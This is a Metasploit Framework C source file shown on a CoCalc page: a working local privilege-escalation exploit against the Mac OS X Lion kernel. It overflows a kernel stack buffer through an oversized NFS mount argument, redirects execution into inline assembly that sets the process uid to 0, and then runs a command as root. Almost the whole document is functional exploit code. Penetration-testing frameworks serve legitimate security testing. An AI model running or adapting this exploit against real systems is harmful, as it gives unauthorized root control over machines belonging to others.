CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/osx/nfs_mount_priv_escalation.c
Views: 11766
1
/*
2
* Apple Mac OS X Lion Kernel <= xnu-1699.32.7 except xnu-1699.24.8 NFS Mount Privilege Escalation Exploit
3
* CVE None
4
* by Kenzley Alphonse <kenzley [dot] alphonse [at] gmail [dot] com>
5
*
6
*
7
* Notes:
8
* This exploit leverage a stack overflow vulnerability to escalate privileges.
9
* The vulnerable function nfs_convert_old_nfs_args does not verify the size
10
* of a user-provided argument before copying it to the stack. As a result by
11
* passing a large size, a local user can overwrite the stack with arbitrary
12
* content.
13
*
14
* Tested on Max OS X Lion xnu-1699.22.73 (x86_64)
15
* Tested on Max OS X Lion xnu-1699.32.7 (x86_64)
16
*
17
* Greets to taviso, spender, joberheide
18
*/
19
20
#include <stdio.h>
21
#include <stdlib.h>
22
#include <strings.h>
23
#include <errno.h>
24
#include <sys/mman.h>
25
#include <sys/mount.h>
26
#include <sys/param.h>
27
#include <sys/stat.h>
28
#include <sys/types.h>
29
#include <unistd.h>
30
31
/** change these to fit your environment if needed **/
32
#define SSIZE (536)
33
34
/** struct user_nfs_args was copied directly from "/bsd/nfs/nfs.h" of the xnu kernel **/
35
struct user_nfs_args {
36
int version; /* args structure version number */
37
char* addr __attribute__((aligned(8))); /* file server address */
38
int addrlen; /* length of address */
39
int sotype; /* Socket type */
40
int proto; /* and Protocol */
41
char * fh __attribute__((aligned(8))); /* File handle to be mounted */
42
int fhsize; /* Size, in bytes, of fh */
43
int flags; /* flags */
44
int wsize; /* write size in bytes */
45
int rsize; /* read size in bytes */
46
int readdirsize; /* readdir size in bytes */
47
int timeo; /* initial timeout in .1 secs */
48
int retrans; /* times to retry send */
49
int maxgrouplist; /* Max. size of group list */
50
int readahead; /* # of blocks to readahead */
51
int leaseterm; /* obsolete: Term (sec) of lease */
52
int deadthresh; /* obsolete: Retrans threshold */
53
char* hostname __attribute__((aligned(8))); /* server's name */
54
/* NFS_ARGSVERSION 3 ends here */
55
int acregmin; /* reg file min attr cache timeout */
56
int acregmax; /* reg file max attr cache timeout */
57
int acdirmin; /* dir min attr cache timeout */
58
int acdirmax; /* dir max attr cache timeout */
59
/* NFS_ARGSVERSION 4 ends here */
60
uint auth; /* security mechanism flavor */
61
/* NFS_ARGSVERSION 5 ends here */
62
uint deadtimeout; /* secs until unresponsive mount considered dead */
63
};
64
65
/** sets the uid for the current process and safely exits from the kernel**/
66
static void r00t_me() {
67
asm(
68
// padding
69
"nop; nop; nop; nop;"
70
71
// task_t %rax = current_task()
72
"movq %%gs:0x00000008, %%rax;"
73
"movq 0x00000348(%%rax), %%rax;"
74
75
// proc %rax = get_bsdtask_info()
76
"movq 0x000002d8(%%rax),%%rax;"
77
78
// ucred location at proc
79
"movq 0x000000d0(%%rax),%%rax;"
80
81
// uid = 0
82
"xorl %%edi, %%edi;"
83
"movl %%edi, 0x0000001c(%%rax);"
84
"movl %%edi, 0x00000020(%%rax);"
85
86
// fix the stack pointer and return (EACCES)
87
"movq $13, %%rax;"
88
"addq $0x00000308,%%rsp;"
89
"popq %%rbx;"
90
"popq %%r12;"
91
"popq %%r13;"
92
"popq %%r14;"
93
"popq %%r15;"
94
"popq %%rbp;"
95
"ret;"
96
:::"%rax"
97
);
98
}
99
100
int main(int argc, char ** argv) {
101
struct user_nfs_args xdrbuf;
102
char * path;
103
char obuf[SSIZE];
104
105
106
/** clear the arguments **/
107
memset(&xdrbuf, 0x00, sizeof(struct user_nfs_args));
108
memset(obuf, 0x00, SSIZE);
109
110
/** set up variable to get path to vulnerable code **/
111
xdrbuf.version = 3;
112
xdrbuf.hostname = "localhost";
113
xdrbuf.addrlen = SSIZE;
114
xdrbuf.addr = obuf;
115
116
/** set ret address **/
117
*(unsigned long *)&obuf[528] = (unsigned long) (&r00t_me + 5);
118
printf("[*] set ret = 0x%.16lx\n", *(unsigned long *)&obuf[528]);
119
120
/** create a unique tmp name **/
121
if ((path = tmpnam(NULL)) == NULL) {
122
// path can be any directory which we have read/write/exec access
123
// but I'd much rather create one instead of searching for one
124
perror("[-] tmpnam");
125
exit(EXIT_FAILURE);
126
}
127
128
/** make the path in tmp so that we can use it **/
129
if (mkdir(path, 0660) < 0) {
130
perror("[-] mkdir");
131
exit(EXIT_FAILURE);
132
}
133
134
/** inform the user that the path was created **/
135
printf("[*] created sploit path%s\n", path);
136
137
/** call the vulnerable function **/
138
if (mount("nfs", path, 0, &xdrbuf) < 0) {
139
if (errno == EACCES) {
140
puts("[+] escalating privileges...");
141
} else {
142
perror("[-] mount");
143
}
144
145
}
146
147
/** clean up tmp dir **/
148
if (rmdir(path) < 0) {
149
perror("[-] rmdir");
150
}
151
152
/** check if privs are equal to root **/
153
if (getuid() != 0) {
154
puts("[-] priviledge escalation failed");
155
exit(EXIT_FAILURE);
156
}
157
158
/** get root shell **/
159
printf("[+] We are now uid=%i ... your welcome!\n", getuid());
160
printf("[+] Dropping a shell.\n");
161
162
/** execute **/
163
execl("/bin/sh", "/bin/sh", "-c", argv[1], NULL);
164
return 0;
165
}
166
167